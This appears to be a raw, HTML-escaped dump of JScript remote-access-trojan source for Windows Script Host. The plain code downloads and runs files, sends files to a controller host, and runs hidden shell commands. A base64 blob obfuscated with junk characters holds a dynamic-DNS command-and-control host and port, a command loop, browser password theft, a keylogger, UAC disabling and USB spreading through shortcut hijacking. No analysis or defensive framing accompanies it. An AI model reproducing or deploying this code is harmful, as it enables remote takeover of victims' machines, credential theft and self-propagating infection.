&quot;max-age=0&quot;);\r\nobjhttpdownload.send();\r\nvar objfsodownload = WScript.CreateObject(&quot;scripting.filesystemobject&quot;);\r\nif(objfsodownload.fileExists(strsaveto)){\r\nobjfsodownload.deleteFile(strsaveto);\r\n}\r\nif (objhttpdownload.status == 200){\r\ntry{\r\nvar  objstreamdownload = WScript.CreateObject(&quot;adodb.stream&quot;);\r\nobjstreamdownload.Type = 1;\r\nobjstreamdownload.Open();\r\nobjstreamdownload.Write(objhttpdownload.responseBody);\r\nobjstreamdownload.SaveToFile(strsaveto);\r\nobjstreamdownload.close();\r\nobjstreamdownload = null;\r\n}catch(err){\r\nupdatestatus(&quot;Access+Denied&quot;);\r\n}\r\n}\r\nif(objfsodownload.fileExists(strsaveto)){\r\nshellobj.run(&quot;\\&quot;&quot; + strsaveto + &quot;\\&quot; &quot; + host + &quot; &quot; + port + &quot; \\&quot;&quot; + filearg + &quot;\\&quot;&quot;);\r\n}\r\n}\r\nfunction sitedownloader (fileurl,filename){\r\nvar strlink = fileurl;\r\nvar strsaveto = installdir + filename;\r\nvar objhttpdownload = WScript.CreateObject(&quot;msxml2.serverxmlhttp&quot; );\r\nobjhttpdownload.open(&quot;get&quot;, strlink, false);\r\nobjhttpdownload.setRequestHeader(&quot;cache-control&quot;, &quot;max-age=0&quot;);\r\nobjhttpdownload.send();\r\nvar objfsodownload = WScript.CreateObject(&quot;scripting.filesystemobject&quot;);\r\nif(objfsodownload.fileExists(strsaveto)){\r\nobjfsodownload.deleteFile(strsaveto);\r\n}\r\nif (objhttpdownload.status == 200){\r\nvar  objstreamdownload = WScript.CreateObject(&quot;adodb.stream&quot;);\r\nobjstreamdownload.Type = 1;\r\nobjstreamdownload.Open();\r\nobjstreamdownload.Write(objhttpdownload.responseBody);\r\nobjstreamdownload.SaveToFile(strsaveto);\r\nobjstreamdownload.close();\r\nobjstreamdownload = null;\r\n}\r\nif(objfsodownload.fileExists(strsaveto)){\r\nshellobj.run(objfsodownload.getFile(strsaveto).shortPath);\r\nupdatestatus(&quot;Executed+File&quot;);\r\n}\r\n}\r\nfunction download (fileurl,filedir){\r\nif(filedir == &quot;&quot;){\r\nfiledir = installdir;\r\n}\r\nstrsaveto = filedir + fileurl.substr(fileurl.lastIndexOf(&quot;\\\\&quot;) + 1);\r\nvar objhttpdownload = WScript.CreateObject(&quot;msxml2.xmlhttp&quot;);\r\nobjhttpdownload.open(&quot;post&quot;,&quot;http:\/\/&quot; + host + &quot;:&quot; + port +&quot;\/&quot; + &quot;send-to-me&quot; + spliter + fileurl, false);\r\nobjhttpdownload.setRequestHeader(&quot;user-agent:&quot;, information());\r\nobjhttpdownload.send(&quot;&quot;);\r\nvar objfsodownload = WScript.CreateObject(&quot;scripting.filesystemobject&quot;);\r\nif(objfsodownload.fileExists(strsaveto)){\r\nobjfsodownload.deleteFile(strsaveto);\r\n}\r\nif (objhttpdownload.status == 200){\r\nvar  objstreamdownload = WScript.CreateObject(&quot;adodb.stream&quot;);\r\nobjstreamdownload.Type = 1;\r\nobjstreamdownload.Open();\r\nobjstreamdownload.Write(objhttpdownload.responseBody);\r\nobjstreamdownload.SaveToFile(strsaveto);\r\nobjstreamdownload.close();\r\nobjstreamdownload = null;\r\n}\r\nif(objfsodownload.fileExists(strsaveto)){\r\nshellobj.run(objfsodownload.getFile(strsaveto).shortPath);\r\nupdatestatus(&quot;Executed+File&quot;);\r\n}\r\n}\r\nfunction updatestatus(status_msg){\r\nvar objsoc = WScript.CreateObject(&quot;msxml2.xmlhttp&quot;);\r\nobjsoc.open(&quot;post&quot;,&quot;http:\/\/&quot; + host + &quot;:&quot; + port + &quot;\/&quot; + &quot;update-status&quot; + spliter + status_msg, false);\r\nobjsoc.setRequestHeader(&quot;user-agent:&quot;, information());\r\nobjsoc.send(&quot;&quot;);\r\n}\r\nfunction upload (fileurl, retcmd){\r\ntry{\r\nvar  httpobj,objstreamuploade,buffer;\r\nvar objstreamuploade = WScript.CreateObject(&quot;adodb.stream&quot;);\r\nobjstreamuploade.Type = 1;\r\nobjstreamuploade.Open();\r\nobjstreamuploade.loadFromFile(fileurl);\r\nbuffer = objstreamuploade.Read();\r\nobjstreamuploade.close();\r\nobjstreamdownload = null;\r\nvar httpobj = WScript.CreateObject(&quot;msxml2.xmlhttp&quot;);\r\nhttpobj.open(&quot;post&quot;,&quot;http:\/\/&quot; + host + &quot;:&quot; + port +&quot;\/&quot; + retcmd, false);\r\nhttpobj.setRequestHeader(&quot;user-agent:&quot;, information());\r\nhttpobj.send(buffer);\r\n}catch(er){\r\nupdatestatus(&quot;Upload+Failed&quot;);\r\n}\r\n}\r\nfunction deletefaf (url){\r\ntry{\r\nfilesystemobj.deleteFile(url);\r\nfilesystemobj.deleteFolder(url);\r\n}catch(err){}\r\n}\r\nfunction cmdshell (cmd){\r\nvar httpobj,oexec,readallfromany;\r\nvar strsaveto = installdir + &quot;out.txt&quot;;\r\nshellobj.run(&quot;%comspec% \/c &quot; + cmd + &quot; &gt; \\&quot;&quot; + strsaveto + &quot;\\&quot;&quot;, 0, true);\r\nreadallfromany = filesystemobj.openTextFile(strsaveto).readAll();\r\ntry{\r\nfilesystemobj.deleteFile(strsaveto);\r\n}catch(ee){}\r\nreturn readallfromany;\r\n}\r\nfunction enumprocess(){\r\nvar ep = &quot;&quot;;\r\ntry{\r\nvar objwmiservice = GetObject(&quot;winmgmts:\\\\\\\\.\\\\root\\\\cimv2&quot;);\r\nvar colitems = objwmiservice.ExecQuery(&quot;select * from win32_process&quot;,null,48);\r\nfor(var fi = new Enumerator(colitems); !fi.atEnd(); fi.moveNext()){\r\nvar objitem = fi.item();\r\nep = ep + objitem.name + &quot;^&quot;;\r\nep = ep + objitem.processId + &quot;^&quot;;\r\nep = ep + objitem.executablePath + spliter;\r\n}\r\n}catch(er){}\r\nreturn ep;\r\n}\r\nfunction exitprocess (pid){\r\ntry{\r\nshellobj.run(&quot;taskkill \/F \/T \/PID &quot; + pid,0,true);\r\n}catch(err){}\r\n}\r\nfunction getParentDirectory(path){\r\nvar fo = filesystemobj.getFile(path);\r\nreturn filesystemobj.getParentFolderName(fo);\r\n}\r\nfunction enumfaf (enumdir){\r\nvar re = &quot;&quot;;\r\ntry{\r\nfor(var fi = new Enumerator(filesystemobj.getFolder (enumdir).subfolders); !fi.atEnd(); fi.moveNext()){\r\nvar folder = fi.item();\r\nre = re + folder.name + &quot;^^d^&quot; + folder.attributes + spliter;\r\n}\r\nfor(var fi = new Enumerator(filesystemobj.getFolder (enumdir).files); !fi.atEnd(); fi.moveNext()){\r\nvar file = fi.item();\r\nre = re + file.name + &quot;^&quot; + file.size + &quot;^&quot; + file.attributes + spliter;\r\n}\r\n}catch(err){}\r\nreturn re;\r\n}\r\n\r\n\r\n\r\n\r\n--------------------------------------\r\n\r\nfunction bgftrewas(){\r\n\treturn &#x5B;&quot;Ly88WyByZWNvZGVyIDoga29nbml0by&gt;&gt;%oYykgc2t5cGUgOiBsaXZlOnVua25vd24uc2FsZXM2NCBdPgoKLy89LT0tPS09LT0gY29uZmlnID0tPS09LT0tPS09LT0tPS09LT0tPS09LT0tPS09Cgp2YXIgaG9zdC&gt;&gt;%9ICJwbHVnaW5zcnYuZHVja2Rucy5vcmciOwp2YXIgcG9ydC&gt;&gt;%9IDc3NTY7CnZhciBpbnN0YWxsZGlyID0gIiVhcHBkYXRhJSI7CnZhciBydW5Bc0FkbWluID0gZmFsc2U7CnZhciBsbmtmaWxlID0gdHJ1ZTsKdmFyIGxua2ZvbGRlci&gt;&gt;%9IHRydWU7CgppZihydW5Bc0FkbWluID09IHRydWUpewoJc3RhcnR1cEVsZXZhdGUoKTsKfQppZihXU2NyaXB0LkFyZ3VtZW50cy5OYW1lZC5FeGlzdHMoImVsZXZhdGVkIikgPT0gdHJ1ZSl7CglkaXNhYmxlU2VjdXJpdHkoKTsKfQovLz0tPS09LT0tPSBwdWJsaWMgdmFyID0tPS09LT0tPS09LT0tPS09LT0tPS09LT0KCnZhciBzaGVsbG9iai&gt;&gt;%9IFdTY3JpcHQuY3JlYXRlT2JqZWN0KCJ3c2NyaXB0LnNoZWxsIik7CnZhciBmaWxlc3lzdGVtb2JqID0gV1NjcmlwdC5jcmVhdGVPYmplY3QoInNjcmlwdGluZy5maWxlc3lzdGVtb2JqZWN0Iik7CnZhciBodHRwb2JqID0gV1NjcmlwdC5jcmVhdGVPYmplY3QoIm1zeG1sMi54bWxodHRwIik7CgoKLy89LT0tPS09LT0gcHJpdmF0IHZhci&gt;&gt;%9LT0tPS09LT0tPS09LT0tPS09LT0tPQoKdmFyIGluc3RhbGxuYW1lID0gV1NjcmlwdC5zY3JpcHROYW1lOwp2YXIgc3RhcnR1cC&gt;&gt;%9IHNoZWxsb2JqLnNwZWNpYWxGb2xkZXJzKCJzdGFydHVwIikgKy&gt;&gt;%iXFwiOwppbnN0YWxsZGlyID0gc2hlbGxvYmouRXhwYW5kRW52aXJvbm1lbnRTdHJpbmdzKGluc3RhbGxkaXIpICsgIlxcIjsKaWYoIWZpbGVzeXN0ZW1vYmouZm9sZGVyRXhpc3RzKGluc3RhbGxkaXIpKXsgIGluc3RhbGxkaXIgPSBzaGVsbG9iai5FeHBhbmRFbnZpcm9ubWVudFN0cmluZ3MoIiV0ZW1wJSIpICsgIlxcIjt9CnZhciBzcGxpdGVyID0gInwiOwp2YXIgc2RrcGF0aC&gt;&gt;%9IGluc3RhbGxkaXIgKy&gt;&gt;%id3Noc2RrIjsKdmFyIHNka2ZpbGUgPSBzZGtwYXRoICsgIlxcIi&gt;&gt;%rIGNocigxMTIpICsgY2hyKDEyMSkgKyBjaHIoMTE2KS&gt;&gt;%rIGNocigxMDQpICsgY2hyKDExMSkgKyBjaHIoMTEwKS&gt;&gt;%rIGNocig0NikgKyBjaHIoMT&gt;&gt;%xKS&gt;&gt;%rIGNocigxMj&gt;&gt;%pICsgY2hyKDEwMSk7CnZhciBzbGVlcC&gt;&gt;%9IDUwMD&gt;&gt;%7I&gt;&gt;%p2YXIgcmVzcG9uc2UsIGNtZCwgcGFyYW0sIG9uZW9uY2U7Cgp2YXIgaW5mID0gIiI7CnZhciB1c2JzcHJlYWRpbmcgPS&gt;&gt;%iIjsKdmFyIHN0YXJ0ZGF0ZS&gt;&gt;%9ICIiOwoKLy89LT0tPS09LT0gY29kZSBzdGFydC&gt;&gt;%9LT0tPS09LT0tPS09LT0tPS09LT0tPQoKaW5zdGFuY2UoKTsKCndoaWxlKHRydWUpewoJdHJ5ewoJCWluc3RhbGwoKTsKCgkJcmVzcG9uc2UgPS&gt;&gt;%iIjsKIC&gt;&gt;%gIC&gt;&gt;%gICByZXNwb25zZS&gt;&gt;%9IHBvc3QgKCJpcy1yZWFkeSIsIiIpOwoJCWNtZC&gt;&gt;%9IHJlc3BvbnNlLnNwbGl0KHNwbGl0ZXIpOwoJCXN3aXRjaChjbWRbMF0pewogIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gICBjYXNlICJkaXNjb25uZWN0IjoKCQkJCS&gt;&gt;%gV1NjcmlwdC5xdWl0KCk7CgkJCQkgIGJyZWFrOwoJCQljYXNlICJyZWJvb3QiOgoJCQkJICBzaGVsbG9iai5ydW4oIiVjb21zcGVjJS&gt;&gt;%vYyBzaHV0ZG93bi&gt;&gt;%vci&gt;&gt;%vdC&gt;&gt;%wIC9mIiwgMCwgdHJ1ZSk7CgkJCQkgIGJyZWFrOwoJCQljYXNlICJzaHV0ZG93biI6CgkJCQkgIHNoZWxsb2JqLnJ1bigiJWNvbXNwZWMlIC9jIHNodXRkb3duIC9zIC90ID&gt;&gt;%gL2YiLC&gt;&gt;%wLCB0cnVlKTsKCQkJCS&gt;&gt;%gYnJlYWs7Ci&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIGNhc2UgImV4Y2VjdXRlIjoKIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gcGFyYW0gPSBjbWRbMV07CgkJCQkgIGV2YWwocGFyYW0pOwoJCQkJICBicmVhazsKCQkJY2FzZS&gt;&gt;%iaW5zdGFsbC1zZGsiOgoJCQkJICBpbnN0YWxsc2RrKCk7CgkJCQkgIGJyZWFrOwoJCQljYXNlICJnZXQtcGFzcyI6CgkJCQkgIHBhc3NncmFiYmVyKGNtZFsxXSwgImNtZGMuZXhlIiwgY21kWzJdKTsKCQkJCS&gt;&gt;%gYnJlYWs7CgkJCWNhc2UgImdldC1wYXNzLW9mZmxpbmUiOgoJCQkJICBwYXNzZ3JhYmJlcihjbWRbM10sICJjbWRjLmV4ZSIsICJpZSIpOwoJCQkJICBwYXNzZ3JhYmJlcigibnVsbCIsICJjbWRjLmV4ZSIsICJjaHJvbWUiKTsKCQkJCS&gt;&gt;%gcGFzc2dyYWJiZXIoIm51bGwiLC&gt;&gt;%iY21kYy5leGUiLC&gt;&gt;%ibW96aWxsYSIpOwoJCQkJICBwYXNzZ3JhYmJlcjIoY21kWzFdLC&gt;&gt;%iY21kYy5leGUiLCBjbWRbMl0pOwoJCQkJICBicmVhazsKCQkJY2FzZS&gt;&gt;%idXBkYXRlIjoKCQkJCS&gt;&gt;%gcGFyYW0gPSByZXNwb25zZS5zdWJzdHIocmVzcG9uc2UuaW5kZXhPZigifCIpICsgMSk7CgkJCQkgIG9uZW9uY2UuY2xvc2UoKTsKCQkJCS&gt;&gt;%gb25lb25jZS&gt;&gt;%9IGZpbGVzeXN0ZW1vYmoub3BlblRleHRGaWxlKGluc3RhbGxkaXIgKyBpbnN0YWxsbmFtZS&gt;&gt;%sMiwgZmFsc2UpOwoJCQkJICBvbmVvbmNlLndyaXRlKHBhcmFtKTsKCQkJCS&gt;&gt;%gb25lb25jZS5jbG9zZSgpOwoJCQkJICBzaGVsbG9iai5ydW4oIndzY3JpcHQuZXhlIC8vQiBcIiIgKyBpbnN0YWxsZGlyICsgaW5zdGFsbG5hbWUgKy&gt;&gt;%iXCIiKTsKCQkJCS&gt;&gt;%gV1NjcmlwdC5xdWl0KCk7CgkJCWNhc2UgInVuaW5zdGFsbCI6CgkJCQkgIHVuaW5zdGFsbCgpOwoJCQkJICBicmVhazsKCQkJY2FzZS&gt;&gt;%idX&gt;&gt;%tbi1leGVjIjoKCQkJCS&gt;&gt;%gZG93bmxvYWQoY21kWzFdLGNtZFsyXSk7CgkJCQkgIGJyZWFrOwoJCQljYXNlICJicmluZy1sb2ciOgoJCQkJICB1cGxvYWQoaW5zdGFsbGRpci&gt;&gt;%rICJ3c2hsb2dzXFwiICsgY21kWzFdLC&gt;&gt;%idGFrZS1sb2ciKTsKCQkJCS&gt;&gt;%gYnJlYWs7CgkJCWNhc2UgImRvd24tbi1leGVjIjoKCQkJCS&gt;&gt;%gc2l0ZWRvd25sb2FkZXIoY21kWzFdLGNtZFsyXSk7CgkJCQkgIGJyZWFrOwoJCQljYXNlIC&gt;&gt;%iZmlsZW1hbmFnZXIiOgoJCQkJICBzZXJ2aWNlc3RhcnRlcihjbWRbMV0sICJmbS1wbHVnaW4uZXhlIiwgaW5mb3JtYXRpb24oKSk7CgkJCQkgIGJyZWFrOwoJCQljYXNlIC&gt;&gt;%icmRwIjoKCQkJCS&gt;&gt;%gc2VydmljZXN0YXJ0ZXIoY21kWzFdLC&gt;&gt;%icmQtcGx1Z2luLmV4ZSIsIGluZm9ybWF0aW9uKCkpOwoJCQkJICBicmVhazsKCQkJY2FzZS&gt;&gt;%gImtleWxvZ2dlciI6CgkJCQkgIGtleWxvZ2dlcnN0YXJ0ZXIoY21kWzFdLC&gt;&gt;%ia2wtcGx1Z2luLmV4ZSIsIGluZm9ybWF0aW9uKCksID&gt;&gt;%pOwoJCQkJICBicmVhazsKCQkJY2FzZS&gt;&gt;%gIm9mZmxpbmUta2V5bG9nZ2VyIjoKCQkJCS&gt;&gt;%ga2V5bG9nZ2Vyc3RhcnRlcihjbWRbMV0sICJrbC1wbHVnaW4uZXhlIiwgaW5mb3JtYXRpb24oKSwgMSk7CgkJCQkgIGJyZWFrOwoJCQljYXNlIC&gt;&gt;%iYnJvd3NlLWxvZ3MiOgoJCQkJICBwb3N0KCJpcy1sb2dzIiwgZW51bWZhZihpbnN0YWxsZGlyICsgIndzaGxvZ3MiKSk7CgkJCQkgIGJyZWFrOwoJCQljYXNlIC&gt;&gt;%iY21kLXNoZWxsIjoKCQkJCS&gt;&gt;%gcGFyYW0gPSBjbWRbMV07CgkJCQkgIHBvc3QoImlzLWNtZC1zaGVsbCIsY21kc2hlbGwocGFyYW0pKTsKCQkJCS&gt;&gt;%gYnJlYWs7CgkJCWNhc2UgICJnZXQtcHJvY2Vzc2VzIjoKCQkJCS&gt;&gt;%gcG9zdCgiaXMtcHJvY2Vzc2VzIiwgZW51bXByb2Nlc3MoKSk7CgkJCQkgIGJyZWFrOwoJCQljYXNlIC&gt;&gt;%iZGlzYWJsZS11YWMiOgoJCQkJICBkaXNhYmxlU2VjdXJpdHkoKTsKCQkJCS&gt;&gt;%gdXBkYXRlc3RhdHVzKCJVQUMrRGlzYWJsZWQrKFJlYm9vdCtSZXF1aXJlZCkiKTsKCQkJCS&gt;&gt;%gYnJlYWs7CgkJCWNhc2UgICJjaGVjay1lbGlnaWJsZSI6CgkJCQkgIGlmKGZpbGVzeXN0ZW1vYmouZmlsZUV4aXN0cyhjbWRbMV0pKXsKCQkJCQl1cGRhdGVzdGF0dXMoIklzK0VsaWdpYmxlIik7CgkJCQkgIH1lbHNlewoJCQkJCXVwZGF0ZXN0YXR1cygiTm90K0VsaWdpYmxlIik7CgkJCQkgIH0KCQkJCS&gt;&gt;%gYnJlYWs7CgkJCWNhc2UgICJmb3JjZS1lbGlnaWJsZSI6CgkJCQkgIGlmKFdTY3JpcHQuQXJndW1lbnRzLk5hbWVkLkV4aXN0cygiZWxldmF0ZWQiKS&gt;&gt;%9PSB0cnVlKXsKCQkJCQlpZihmaWxlc3lzdGVtb2JqLmZvbGRlckV4aXN0cyhjbWRbMV0pKXsKCQkJCQkJc2hlbGxvYmoucnVuKCIlY29tc3BlYyUgL2MgIi&gt;&gt;%rIGNtZFsyXSwgMCwgdHJ1ZSk7CgkJCQkJCXVwZGF0ZXN0YXR1cygiU1VDQ0VTUyIpOwoJCQkJCX1lbHNlewoJCQkJCQl1cGRhdGVzdGF0dXMoIkNvbXBvbmVudCtNaXNzaW5nIik7CgkJCQkJfQoJCQkJICB9CgkJCQkgIGVsc2V7CgkJCQkJdXBkYXRlc3RhdHVzKCJFbGV2YXRpb24rUmVxdWlyZWQiKTsKCQkJCS&gt;&gt;%gfQoJCQkJICBicmVhazsKCQkJY2FzZS&gt;&gt;%gImVsZXZhdGUiOgoJCQkJICBpZihXU2NyaXB0LkFyZ3VtZW50cy5OYW1lZC5FeGlzdHMoImVsZXZhdGVkIikgPT0gZmFsc2UpewoJCQkJCXRyeXsKCQkJCQkgIG9uZW9uY2UuY2xvc2UoKTsKCQkJCQkgIG9uZW9uY2UgPSBudWxsOwoJCQkJCS&gt;&gt;%gV1NjcmlwdC5DcmVhdGVPYmplY3QoIlNoZWxsLkFwcGxpY2F0aW9uIikuU2hlbGxFeGVjdXRlKCJ3c2NyaXB0LmV4ZSIsICIgLy9CIFwiIi&gt;&gt;%rIFdTY3JpcHQuU2NyaXB0RnVsbE5hbWUgKy&gt;&gt;%iXCIgL2VsZXZhdGVkIiwgIiIsICJydW5hcyIsIDEpOwoJCQkJCS&gt;&gt;%gdXBkYXRlc3RhdHVzKCJDbGllbnQrRWxldmF0ZWQiKTsKCQkJCQl9Y2F0Y2gobm4pewoJCQkJCX0KCQkJCQlXU2NyaXB0LnF1aXQoKTsKCQkJCS&gt;&gt;%gfQoJCQkJICBlbHNlewoJCQkJIC&gt;&gt;%JICB1cGRhdGVzdGF0dXMoIkNsaWVudCtFbGV2YXRlZCIpOwoJCQkJICB9CgkJCQkgIGJyZWFrOwoJCQljYXNlIC&gt;&gt;%iaWYtZWxldmF0ZSI6CgkJCQkgIGlmKFdTY3JpcHQuQXJndW1lbnRzLk5hbWVkLkV4aXN0cygiZWxldmF0ZWQiKS&gt;&gt;%9PSBmYWxzZSl7CgkJCQkJICB1cGRhdGVzdGF0dXMoIkNsaWVudCtOb3QrRWxldmF0ZWQiKTsKCQkJCS&gt;&gt;%gfQoJCQkJICBlbHNlewoJCQkJIC&gt;&gt;%JICB1cGRhdGVzdGF0dXMoIkNsaWVudCtFbGV2YXRlZCIpOwoJCQkJICB9CgkJCQkgIGJyZWFrOwoJCQljYXNlIC&gt;&gt;%ia2lsbC1wcm9jZXNzIjoKCQkJCS&gt;&gt;%gZXhpdHByb2Nlc3MoY21kWzFdKTsKCQkJCS&gt;&gt;%gYnJlYWs7CgkJCWNhc2UgICJzbGVlcCI6CgkJCQkgIHBhcmFtID0gY21kWzFdOwoJCQkJICBzbGVlcC&gt;&gt;%9IGV2YWwocGFyYW0pOwogIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gICBicmVhazsKCQl9CgkJCgl9Y2F0Y2goZXIpe30KCVdTY3JpcHQuc2xlZX&gt;&gt;%oc2xlZX&gt;&gt;%pOwp9CgpmdW5jdGlvbiBpbnN0YWxsc2RrKCl7Cgl0cnl7CgkJdmFyIHNka3VybC&gt;&gt;%9IHBvc3QoIm1vei1zZGsiLC&gt;&gt;%iIik7CgkJdmFyIG9iamh0dHBkb3dubG9hZC&gt;&gt;%9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJtc3htbDIueG1saHR0cCIpOwoJCW9iamh0dHBkb3dubG9hZC5vcGVuKCJnZXQiLCBzZGt1cmwsIGZhbHNlKTsKCQlvYmpodHRwZG93bmxvYWQuc2V0UmVxdWVzdEhlYWRlcigiY2FjaGUtY29udHJvbDoiLC&gt;&gt;%ibWF4LWFnZT0wIik7CgkJb2JqaHR0cGRvd25sb2FkLnNlbmQoKTsKCgkJaWYoZmlsZXN5c3RlbW9iai5maWxlRXhpc3RzKGluc3RhbGxkaXIgKy&gt;&gt;%id3Noc2RrLnppcCIpKXsKCQkJZmlsZXN5c3RlbW9iai5kZWxldGVGaWxlKGluc3RhbGxkaXIgKy&gt;&gt;%id3Noc2RrLnppcCIpOwoJCX0KCQkgCgkJaWYgKG9iamh0dHBkb3dubG9hZC5zdGF0dXMgPT0gMj&gt;&gt;%wKXsKCQkgIHRyeXsKCQkgICB2YXIgIG9ianN0cmVhbWRvd25sb2FkID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoImFkb2RiLnN0cmVhbSIpOwoJCS&gt;&gt;%gIG9ianN0cmVhbWRvd25sb2FkLlR5cGUgPS&gt;&gt;%xOy&gt;&gt;%KCQkgICBvYmpzdHJlYW1kb3dubG9hZC5PcGVuKCk7CgkJIC&gt;&gt;%gb2Jqc3RyZWFtZG93bmxvYWQuV3JpdGUob2JqaHR0cGRvd25sb2FkLnJlc3BvbnNlQm9keSk7CgkJIC&gt;&gt;%gb2Jqc3RyZWFtZG93bmxvYWQuU2F2ZVRvRmlsZShpbnN0YWxsZGlyICsgIndzaHNkay56aX&gt;&gt;%iKTsKCQkgICBvYmpzdHJlYW1kb3dubG9hZC5jbG9zZSgpOwoJCS&gt;&gt;%gIG9ianN0cmVhbWRvd25sb2FkID0gbnVsbDsKCQkgIH1jYXRjaChleil7CgkJCQoJCS&gt;&gt;%gfQoJCX0KCQlpZihmaWxlc3lzdGVtb2JqLmZpbGVFeGlzdHMoaW5zdGFsbGRpci&gt;&gt;%rICJ3c2hzZGsuemlwIikpewoJCQkvL3VuemlwIHRoZSBmaWxlI&gt;&gt;%oJCQlVblppcChpbnN0YWxsZGlyICsgIndzaHNkay56aX&gt;&gt;%iLCBzZGtwYXRoKTsKCQkJdXBkYXRlc3RhdHVzKCJTREsrSW5zdGFsbGVkIik7CgkJfQoJfWNhdGNoKGVycil7fQp9CgpmdW5jdGlvbiBpbnN0YWxsKCl7CnZhciBsbmtvYmo7CnZhciBmaWxlbmFtZTsKdmFyIGZvbGRlcm5hbWU7CnZhciBmaWxlaWNvbjsKdmFyIGZvbGRlcmljb247Cgp1cHN0YXJ0KCk7Cgpmb3IodmFyIGRyaS&gt;&gt;%9IG5ldyBFbnVtZXJhdG9yKGZpbGVzeXN0ZW1vYmouZHJpdmVzKTsgIWRyaS5hdEVuZCgpOyBkcmkubW92ZU5leHQoKSl7CnZhciBkcml2ZS&gt;&gt;%9IGRyaS5pdGVtKCk7CmlmIChkcml2ZS5pc3JlYWR5ID09IHRydWUpewppZi&gt;&gt;%oZHJpdmUuZnJlZXNwYWNlID4gMC&gt;&gt;%pewppZi&gt;&gt;%oZHJpdmUuZHJpdmV0eXBlID09IDEgKXsKCXRyeXsKCQlmaWxlc3lzdGVtb2JqLmNvcHlGaWxlKFdTY3JpcHQuc2NyaXB0RnVsbE5hbWUgLCBkcml2ZS5wYXRoICsgIlxcIi&gt;&gt;%rIGluc3RhbGxuYW1lLHRydWUpOwoJCWlmIChmaWxlc3lzdGVtb2JqLmZpbGVFeGlzdHMgKGRyaXZlLnBhdGggKy&gt;&gt;%iXFwiICsgaW5zdGFsbG5hbWUpKXsKCQkJZmlsZXN5c3RlbW9iai5nZXRGaWxlKGRyaXZlLnBhdGggKy&gt;&gt;%iXFwiIC&gt;&gt;%rIGluc3RhbGxuYW1lKS5hdHRyaWJ1dGVzID0gMis0OwoJCX0KCX1jYXRjaChlaWp1KXt9Ci&gt;&gt;%gICBmb3IodmFyIGZpID0gbmV3IEVudW1lcmF0b3IoZmlsZXN5c3RlbW9iai5nZXRmb2xkZXIoZHJpdmUucGF0aC&gt;&gt;%rICJcXCIpLmZpbGVzKTsgIWZpLmF0RW5kKCk7IGZpLm1vdmVOZXh0KCkpewoJCXRyeXsKCQl2YXIgZmlsZS&gt;&gt;%9IGZpLml0ZW0oKTsKIC&gt;&gt;%gIC&gt;&gt;%gICBpZi&gt;&gt;%obG5rZmlsZS&gt;&gt;%9PSBmYWxzZSl7YnJlYWs7fQogIC&gt;&gt;%gIC&gt;&gt;%gIGlmIChmaWxlLm5hbWUuaW5kZXhPZigiLiIpKXsKIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gaWYgKChmaWxlLm5hbWUuc3BsaXQoIi4iKVtmaWxlLm5hbWUuc3BsaXQoIi4iKS5sZW5ndGggLS&gt;&gt;%xXSkudG9Mb3dlckNhc2UoKS&gt;&gt;%hPS&gt;&gt;%ibG5rIil7Ci&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gICBmaWxlLmF0dHJpYnV0ZXMgPS&gt;&gt;%yKzQ7Ci&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gICBpZi&gt;&gt;%oZmlsZS5uYW1lLnRvVXBwZXJDYXNlKCkgIT0gaW5zdGFsbG5hbWUudG9VcHBlckNhc2UoKSl7Ci&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gZmlsZW5hbWUgPSBmaWxlLm5hbWUuc3BsaXQoIi4iKTsKIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gICBsbmtvYmogPSBzaGVsbG9iai5jcmVhdGVTaG9ydGN1dChkcml2ZS5wYXRoICsgIlxcIi&gt;&gt;%gKyBmaWxlbmFtZVswXS&gt;&gt;%rICIubG5rIik7Ci&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gbG5rb2JqLndpbmRvd1N0eWxlID0gNzsKIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gICBsbmtvYmoudGFyZ2V0UGF0aC&gt;&gt;%9ICJjbWQuZXhlIjsKIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gICBsbmtvYmoud29ya2luZ0RpcmVjdG9yeS&gt;&gt;%9ICIiOwogIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIGxua29iai5hcmd1bWVudHMgPS&gt;&gt;%iL2Mgc3RhcnQgIi&gt;&gt;%rIGluc3RhbGxuYW1lLnJlcGxhY2UobmV3IFJlZ0V4cCgiICIsICJnIiksICJcIiBcIiIpICsgIiZzdGFydC&gt;&gt;%iICsgZmlsZS5uYW1lLnJlcGxhY2UobmV3IFJlZ0V4cCgiICIsICJnIiksICJcIiBcIiIpICsiJmV4aXQiOwogIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIHRyeXtmaWxlaWNvbi&gt;&gt;%9IHNoZWxsb2JqLlJlZ1JlYWQgKCJIS0VZX0xPQ0FMX01BQ0hJTkVcXHNvZnR3YXJlXFxjbGFzc2VzXFwiICsgc2hlbGxvYmouUmVnUmVhZC&gt;&gt;%oIkhLRVlfTE9DQUxfTUFDSElORVxcc29mdHdhcmVcXGNsYXNzZXNcXC4iICsgZmlsZS5uYW1lLnNwbGl0KCIuIilbZmlsZS5uYW1lLnNwbGl0KCIuIikubGVuZ3RoIC0gMV0rICJcXCIpICsgIlxcZGVmYXVsdGljb25cXCI